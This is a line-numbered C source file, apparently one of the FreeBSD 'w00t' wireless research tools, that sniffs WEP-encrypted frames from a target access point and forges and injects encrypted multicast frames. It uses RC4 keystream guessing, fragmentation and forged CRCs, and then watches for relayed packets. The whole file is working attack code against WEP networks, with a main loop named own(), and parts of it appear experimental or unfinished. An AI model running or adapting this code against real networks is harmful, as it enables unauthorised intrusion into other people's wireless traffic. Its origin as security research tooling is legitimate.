1160996Ssam/*- 2160996Ssam * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3160996Ssam * All rights reserved. 4160996Ssam * 5160996Ssam * Redistribution and use in source and binary forms, with or without 6160996Ssam * modification, are permitted provided that the following conditions 7160996Ssam * are met: 8160996Ssam * 1. Redistributions of source code must retain the above copyright 9160996Ssam * notice, this list of conditions and the following disclaimer. 10160996Ssam * 2. Redistributions in binary form must reproduce the above copyright 11160996Ssam * notice, this list of conditions and the following disclaimer in the 12160996Ssam * documentation and/or other materials provided with the distribution. 13160996Ssam * 14160996Ssam * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15160996Ssam * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16160996Ssam * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17160996Ssam * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18160996Ssam * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19160996Ssam * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20160996Ssam * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21160996Ssam * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22160996Ssam * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23160996Ssam * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24160996Ssam * SUCH DAMAGE. 25160996Ssam * 26160996Ssam * $FreeBSD$ 27160996Ssam */ 28160996Ssam#include <sys/time.h> 29160996Ssam#include <sys/types.h> 30160996Ssam#include <sys/socket.h> 31160996Ssam#include <sys/uio.h> 32160996Ssam#include <netinet/in.h> 33160996Ssam#include <arpa/inet.h> 34160996Ssam#include <netinet/in_systm.h> 35160996Ssam#include <netinet/ip.h> 36160996Ssam#include <string.h> 37160996Ssam#include <stdio.h> 38160996Ssam#include <stdlib.h> 39160996Ssam#include <unistd.h> 40160996Ssam#include <fcntl.h> 41160996Ssam#include <err.h> 42160996Ssam#include <assert.h> 43160996Ssam#include <zlib.h> 44160996Ssam#include "w00t.h" 45160996Ssam 46160996Ssamenum { 47160996Ssam S_START = 0, 48160996Ssam S_WAIT_RELAY, 49160996Ssam}; 50160996Ssam 51160996Ssamstruct queue { 52160996Ssam struct ieee80211_frame *wh; 53160996Ssam int len; 54160996Ssam 55160996Ssam char *buf; 56160996Ssam int live; 57160996Ssam struct queue *next; 58160996Ssam}; 59160996Ssam 60160996Ssamstruct params { 61160996Ssam int rx; 62160996Ssam int tx; 63160996Ssam 64160996Ssam int tap; 65160996Ssam 66160996Ssam char mcast[5]; 67160996Ssam char mac[6]; 68160996Ssam char ap[6]; 69160996Ssam 70160996Ssam char prga[2048]; 71160996Ssam int prga_len; 72160996Ssam 73160996Ssam int state; 74160996Ssam 75160996Ssam struct queue *q; 76160996Ssam 77160996Ssam char packet[2048]; 78160996Ssam int packet_len; 79160996Ssam struct timeval last; 80160996Ssam 81160996Ssam int seq; 82160996Ssam 83160996Ssam unsigned char guess; 84160996Ssam}; 85160996Ssam 86160996Ssamint wanted(struct params *p, struct ieee80211_frame *wh, int len) 87160996Ssam{ 88160996Ssam char *bssid, *sa; 89160996Ssam 90160996Ssam if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 91160996Ssam bssid = wh->i_addr1; 92160996Ssam sa = wh->i_addr2; 93160996Ssam } 94160996Ssam else { 95160996Ssam bssid = wh->i_addr2; 96160996Ssam sa = wh->i_addr3; 97160996Ssam } 98160996Ssam 99160996Ssam if (memcmp(bssid, p->ap, 6) != 0) 100160996Ssam return 0; 101160996Ssam 102262007Skevlo if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { 103160996Ssam printf("Got non WEP packet...\n"); 104160996Ssam return 0; 105160996Ssam } 106160996Ssam 107160996Ssam /* my own shit */ 108160996Ssam if (memcmp(p->mac, sa, 6) == 0) 109160996Ssam return 0; 110160996Ssam 111160996Ssam return 1; 112160996Ssam} 113160996Ssam 114160996Ssamvoid enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) 115160996Ssam{ 116160996Ssam struct queue *q = p->q; 117160996Ssam int qlen = 0; 118160996Ssam char *ret = NULL; 119160996Ssam struct queue *last = NULL; 120160996Ssam 121160996Ssam /* find a slot */ 122160996Ssam while (q) { 123160996Ssam if (q->live) 124160996Ssam qlen++; 125160996Ssam else { 126160996Ssam /* recycle */ 127160996Ssam ret = q->buf; 128160996Ssam break; 129160996Ssam } 130160996Ssam 131160996Ssam last = q; 132160996Ssam q = q->next; 133160996Ssam } 134160996Ssam 135160996Ssam /* need to create slot */ 136160996Ssam if (!q) { 137160996Ssam q = (struct queue*) malloc(sizeof(*q)); 138160996Ssam if (!q) 139160996Ssam err(1, "malloc()"); 140160996Ssam memset(q, 0, sizeof(*q)); 141160996Ssam 142160996Ssam /* insert */ 143160996Ssam if (!p->q) 144160996Ssam p->q = q; 145160996Ssam else { 146160996Ssam assert(last); 147160996Ssam last->next = q; 148160996Ssam } 149160996Ssam } 150160996Ssam 151160996Ssam q->live = 1; 152160996Ssam q->buf = *buf; 153160996Ssam q->len = len; 154160996Ssam q->wh = wh; 155160996Ssam 156160996Ssam qlen++; 157160996Ssam 158160996Ssam if (qlen > 5) 159160996Ssam printf("Enque. Size: %d\n", qlen); 160160996Ssam *buf = ret; 161160996Ssam} 162160996Ssam 163160996Ssamvoid send_packet(struct params *p) 164160996Ssam{ 165160996Ssam int rc; 166160996Ssam 167160996Ssam rc = inject(p->tx, p->packet, p->packet_len); 168160996Ssam if (rc == -1) 169160996Ssam err(1, "inject()"); 170160996Ssam if (rc != p->packet_len) { 171160996Ssam printf("Wrote %d/%d\n", rc, p->packet_len); 172160996Ssam exit(1); 173160996Ssam } 174160996Ssam 175160996Ssam if (gettimeofday(&p->last, NULL) == -1) 176160996Ssam err(1, "gettimeofday()"); 177160996Ssam} 178160996Ssam#include <openssl/rc4.h> 179160996Ssamvoid send_mcast(struct params *p, unsigned char x) 180160996Ssam{ 181160996Ssam struct ieee80211_frame *wh; 182160996Ssam short *seq; 183160996Ssam struct queue *q = p->q; 184160996Ssam char *data, *ptr; 185160996Ssam int len; 186160996Ssam uLong crc = crc32(0L, Z_NULL, 0); 187160996Ssam uLong *pcrc; 188160996Ssam int i; 189160996Ssam int need_frag = 0; 190160996Ssam char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00"; 191160996Ssam 192160996Ssam assert(q); 193160996Ssam 194160996Ssam /* 802.11 */ 195160996Ssam memset(p->packet, 0, sizeof(p->packet)); 196160996Ssam wh = (struct ieee80211_frame*) p->packet; 197160996Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 198160996Ssam wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 199160996Ssam wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 200262007Skevlo wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 201160996Ssam 202160996Ssam wh->i_dur[0] = 0x69; 203160996Ssam 204160996Ssam memcpy(wh->i_addr1, p->ap, 6); 205160996Ssam memcpy(wh->i_addr2, p->mac, 6); 206160996Ssam memcpy(wh->i_addr3, p->mcast, 5); 207160996Ssam wh->i_addr3[5] = x; 208160996Ssam 209160996Ssam seq = (short*) wh->i_seq; 210160996Ssam *seq = seqfn(p->seq++, 0); 211160996Ssam 212160996Ssam /* IV */ 213160996Ssam data = (char*) (wh+1); 214160996Ssam ptr = (char*) (q->wh+1); 215160996Ssam memcpy(data, ptr, 3); 216160996Ssam 217160996Ssam if (p->prga_len == 0) { 218160996Ssam 219160996Ssam RC4_KEY k; 220160996Ssam unsigned char key[8]; 221160996Ssam 222160996Ssam memset(&key[3], 0x61, 5); 223160996Ssam memcpy(key, (q->wh+1), 3); 224160996Ssam p->prga_len = 128; 225160996Ssam 226160996Ssam RC4_set_key(&k, 8, key); 227160996Ssam memset(p->prga, 0, sizeof(p->prga)); 228160996Ssam RC4(&k, p->prga_len, p->prga, p->prga); 229160996Ssam 230160996Ssam 231160996Ssam#if 0 232160996Ssam int ptl = q->len; 233160996Ssam char *pt; 234160996Ssam 235160996Ssam pt = known_pt(q->wh, &ptl); 236160996Ssam ptr += 4; 237160996Ssam p->prga_len = ptl; 238160996Ssam for (i = 0; i < p->prga_len; i++) 239160996Ssam p->prga[i] = ptr[i] ^ pt[i]; 240160996Ssam#endif 241160996Ssam } 242160996Ssam 243160996Ssam /* data */ 244160996Ssam data += 4; 245160996Ssam memcpy(data, payload, sizeof(payload)); 246160996Ssam p->prga_len = 12; 247160996Ssam len = p->prga_len + 1 - 4; 248160996Ssam 249160996Ssam#if 1 250160996Ssam if (len < sizeof(payload)) { 251160996Ssam need_frag = len; 252160996Ssam wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 253160996Ssam } 254160996Ssam#endif 255160996Ssam 256160996Ssam /* crc */ 257160996Ssam pcrc = (uLong*) (data+len); 258160996Ssam *pcrc = crc32(crc, data, len); 259160996Ssam 260160996Ssam /* wepify */ 261160996Ssam len += 4; 262160996Ssam for (i = 0; i < (len); i++) { 263160996Ssam assert( i <= p->prga_len); 264160996Ssam data[i] ^= p->prga[i]; 265160996Ssam } 266160996Ssam// data[i] ^= x; 267160996Ssam 268160996Ssam len += sizeof(*wh); 269160996Ssam p->packet_len = len + 4; 270160996Ssam send_packet(p); 271160996Ssam 272160996Ssam /* the data we sent is too fucking short */ 273160996Ssam if (need_frag) { 274160996Ssam memset(data, 0, len); 275160996Ssam 276160996Ssam /* 802.11 */ 277160996Ssam *seq = seqfn(p->seq-1, 1); 278160996Ssam wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; 279160996Ssam 280160996Ssam /* data */ 281160996Ssam len = sizeof(payload) - need_frag; 282160996Ssam assert(len > 0 && len <= (p->prga_len - 4)); 283160996Ssam memcpy(data, &payload[need_frag], len); 284160996Ssam 285160996Ssam /* crc */ 286160996Ssam crc = crc32(0L, Z_NULL, 0); 287160996Ssam len = p->prga_len - 4; 288160996Ssam pcrc = (uLong*) (data+len); 289160996Ssam *pcrc = crc32(crc, data, len); 290160996Ssam 291160996Ssam /* wepify */ 292160996Ssam len += 4; 293160996Ssam for (i = 0; i < len; i++) { 294160996Ssam assert( i < p->prga_len); 295160996Ssam data[i] ^= p->prga[i]; 296160996Ssam } 297160996Ssam 298160996Ssam len += sizeof(*wh) + 4; 299160996Ssam p->packet_len = len; 300160996Ssam send_packet(p); 301160996Ssam } 302160996Ssam} 303160996Ssam 304160996Ssamvoid send_queue(struct params *p) 305160996Ssam{ 306160996Ssam struct queue *q = p->q; 307160996Ssam int i; 308160996Ssam 309160996Ssam assert(q); 310160996Ssam assert(q->live); 311160996Ssam 312160996Ssam for (i = 0; i < 5; i++) { 313160996Ssam send_mcast(p, p->guess++); 314160996Ssam } 315160996Ssam 316160996Ssam p->state = S_WAIT_RELAY; 317160996Ssam} 318160996Ssam 319160996Ssamvoid got_mcast(struct params *p, struct ieee80211_frame *wh, int len) 320160996Ssam{ 321160996Ssam printf("ao\n"); 322160996Ssam} 323160996Ssam 324160996Ssamvoid read_wifi(struct params *p) 325160996Ssam{ 326160996Ssam static char *buf = 0; 327160996Ssam static int buflen = 4096; 328160996Ssam struct ieee80211_frame *wh; 329160996Ssam int rc; 330160996Ssam 331160996Ssam if (!buf) { 332160996Ssam buf = (char*) malloc(buflen); 333160996Ssam if (!buf) 334160996Ssam err(1, "malloc()"); 335160996Ssam } 336160996Ssam 337160996Ssam rc = sniff(p->rx, buf, buflen); 338160996Ssam if (rc == -1) 339160996Ssam err(1, "sniff()"); 340160996Ssam 341160996Ssam wh = get_wifi(buf, &rc); 342160996Ssam if (!wh) 343160996Ssam return; 344160996Ssam 345160996Ssam /* relayed macast */ 346160996Ssam if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 347160996Ssam IEEE80211_FC0_SUBTYPE_DATA) && 348160996Ssam (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 349160996Ssam (memcmp(wh->i_addr2, p->ap, 6) == 0) && 350160996Ssam (memcmp(wh->i_addr1, p->mcast, 5) == 0) && 351160996Ssam (memcmp(p->mac, wh->i_addr3, 6) == 0)) { 352160996Ssam got_mcast(p, wh, rc); 353160996Ssam return; 354160996Ssam } 355160996Ssam 356160996Ssam /* data */ 357160996Ssam if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 358160996Ssam IEEE80211_FC0_SUBTYPE_DATA)) { 359160996Ssam if (!wanted(p, wh, rc)) 360160996Ssam return; 361160996Ssam 362160996Ssam enque(p, &buf, wh, rc); 363160996Ssam if (p->state == S_START) 364160996Ssam send_queue(p); 365160996Ssam return; 366160996Ssam } 367160996Ssam} 368160996Ssam 369160996Ssamvoid own(struct params *p) 370160996Ssam{ 371160996Ssam struct timeval tv; 372160996Ssam struct timeval *to = NULL; 373160996Ssam fd_set fds; 374160996Ssam int tout = 10*1000; 375160996Ssam 376160996Ssam if (p->state == S_WAIT_RELAY) { 377160996Ssam int el; 378160996Ssam 379160996Ssam /* check timeout */ 380160996Ssam if (gettimeofday(&tv, NULL) == -1) 381160996Ssam err(1, "gettimeofday()"); 382160996Ssam 383160996Ssam el = elapsed(&p->last, &tv); 384160996Ssam 385160996Ssam /* timeout */ 386160996Ssam if (el >= tout) { 387160996Ssam if (p->q && p->q->live) { 388160996Ssam send_queue(p); 389160996Ssam el = 0; 390160996Ssam } else { 391160996Ssam p->state = S_START; 392160996Ssam return; 393160996Ssam } 394160996Ssam } 395160996Ssam el = tout - el; 396160996Ssam tv.tv_sec = el/1000/1000; 397160996Ssam tv.tv_usec = el - tv.tv_sec*1000*1000; 398160996Ssam to = &tv; 399160996Ssam } 400160996Ssam 401160996Ssam FD_ZERO(&fds); 402160996Ssam FD_SET(p->rx, &fds); 403160996Ssam 404160996Ssam if (select(p->rx+1, &fds, NULL, NULL, to) == -1) 405160996Ssam err(1, "select()"); 406160996Ssam 407160996Ssam if (FD_ISSET(p->rx, &fds)) 408160996Ssam read_wifi(p); 409160996Ssam} 410160996Ssam 411160996Ssamvoid usage(char *name) 412160996Ssam{ 413160996Ssam printf("Usage %s <opts>\n" 414160996Ssam "-h\thelp\n" 415160996Ssam "-b\t<bssid>\n" 416160996Ssam "-t\t<tap>\n" 417160996Ssam , name); 418160996Ssam exit(1); 419160996Ssam} 420160996Ssam 421160996Ssamint main(int argc, char *argv[]) 422160996Ssam{ 423160996Ssam struct params p; 424195848Ssam char *iface = "wlan0"; 425160996Ssam char *tap = "tap0"; 426160996Ssam int ch; 427160996Ssam 428160996Ssam memset(&p, 0, sizeof(p)); 429160996Ssam memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); 430160996Ssam p.seq = getpid(); 431160996Ssam memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5); 432160996Ssam 433160996Ssam while ((ch = getopt(argc, argv, "hb:t:")) != -1) { 434160996Ssam switch (ch) { 435160996Ssam case 't': 436160996Ssam tap = optarg; 437160996Ssam break; 438160996Ssam 439160996Ssam case 'b': 440160996Ssam if (str2mac(p.ap, optarg) == -1) { 441160996Ssam printf("Can't parse BSSID\n"); 442160996Ssam exit(1); 443160996Ssam } 444160996Ssam break; 445160996Ssam 446160996Ssam case 'h': 447160996Ssam default: 448160996Ssam usage(argv[0]); 449160996Ssam break; 450160996Ssam } 451160996Ssam } 452160996Ssam 453160996Ssam if ((p.rx = open_rx(iface)) == -1) 454160996Ssam err(1, "open_rx()"); 455160996Ssam if ((p.tx = open_tx(iface)) == -1) 456160996Ssam err(1, "open_tx()"); 457160996Ssam 458160996Ssam if ((p.tap = open_tap(tap)) == -1) 459160996Ssam err(1, "open_tap()"); 460160996Ssam if (set_iface_mac(tap, p.mac) == -1) 461160996Ssam err(1, "set_iface_mac()"); 462160996Ssam 463160996Ssam p.state = S_START; 464160996Ssam while (1) 465160996Ssam own(&p); 466160996Ssam 467160996Ssam exit(0); 468160996Ssam} 469